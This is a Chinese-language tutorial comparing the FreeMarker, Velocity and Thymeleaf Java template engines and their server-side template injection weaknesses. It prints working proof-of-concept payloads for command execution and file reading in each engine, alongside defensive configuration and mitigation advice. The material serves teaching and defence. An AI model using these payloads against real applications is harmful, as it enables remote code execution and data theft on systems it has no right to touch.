多款Java模板引擎对比与模板注入的安全之旅
字数 1927 2025-08-20 18:17:48
Java模板引擎对比与模板注入安全分析
1. 常用Java模板引擎概述
Java生态中常用的模板引擎包括:
- FreeMarker
- Velocity
- Thymeleaf
2. FreeMarker模板引擎
2.1 FreeMarker简介
FreeMarker是Apache的Java模板引擎,用于生成文本输出(HTML网页、电子邮件、配置文件等)。它使用FreeMarker模板语言(FTL),遵循MVC模式,分离网页设计师和开发者的工作。
工作原理:模板 + 数据模型 = 输出
2.2 FreeMarker安全漏洞与POC
危险函数
new操作符:可创建实现TemplateModel接口的Java对象,还能执行未实现该接口类的静态初始化块?api表达式:提供对Java API的访问,如value?api.someJavaMethod()
常用攻击类
freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor
攻击POC示例
命令执行:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }
文件读取:
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
2.3 FreeMarker防御措施
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
FreeMarker从2.3.17版本后提供三种TemplateClassResolver:
UNRESTRICTED_RESOLVER:可通过ClassUtil.forName(className)获取任何类SAFER_RESOLVER:禁止加载freemarker.template.utility包下的危险类ALLOWS_NOTHING_RESOLVER:不能解析任何类
3. Velocity模板引擎
3.1 Velocity简介
Velocity是基于Java的模板引擎,允许使用简单而强大的模板语言引用Java代码中定义的对象。
3.2 Velocity基本语法
#:标识Velocity脚本语句$:标识变量{}:明确标识Velocity变量!:强制不存在的变量显示为空白
3.3 Velocity攻击POC
命令执行:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
3.4 Velocity防御措施
Velocity本身没有提供类似FreeMarker的安全解析器,需要在应用层进行输入过滤和沙箱环境限制。
4. Thymeleaf模板引擎
4.1 Thymeleaf简介
Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎,能处理HTML、XML、JavaScript、CSS和纯文本。
4.2 Thymeleaf表达式
- 变量表达式:
${...} - 选择变量表达式:
*{...} - 消息表达式:
#{...} - URL表达式:
@{...} - 片段表达式:
~{...}
4.3 Thymeleaf SSTI漏洞
攻击POC示例:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::.x
4.4 Thymeleaf防御措施
- 避免直接将用户输入作为模板名称或片段表达式
- 对用户输入进行严格过滤
- 使用最新版本的Thymeleaf
5. 模板注入攻击原理分析
模板注入漏洞产生的根本原因是将不可信的用户输入直接拼接到模板中,导致攻击者可以注入模板表达式或语句,从而执行任意代码。
5.1 攻击面
- 直接用户输入作为模板内容
- 用户可控的模板名称或路径
- 用户输入作为模板变量名或表达式
5.2 防御建议
-
输入验证:对所有用户输入进行严格验证
-
输出编码:对动态内容进行适当的编码
-
沙箱环境:在受限环境中执行模板渲染
-
最小权限:模板引擎运行在最小必要权限下
-
安全配置:
- FreeMarker:使用
SAFER_RESOLVER - Velocity:限制可访问的Java类
- Thymeleaf:避免动态模板名称
- FreeMarker:使用
-
更新维护:使用最新版本的模板引擎,及时修复已知漏洞
6. 总结
不同Java模板引擎的安全机制和攻击方式各有特点:
| 模板引擎 | 危险功能 | 典型攻击方式 | 主要防御措施 |
|---|---|---|---|
| FreeMarker | new操作符、api表达式 | 实例化危险类、反射调用 | SAFER_RESOLVER配置 |
| Velocity | 反射机制 | 通过反射调用Runtime | 输入过滤、沙箱环境 |
| Thymeleaf | 表达式预处理 | SPEL表达式注入 | 避免动态模板名称 |
开发人员应充分了解所用模板引擎的安全特性,实施纵深防御策略,才能有效防范模板注入攻击。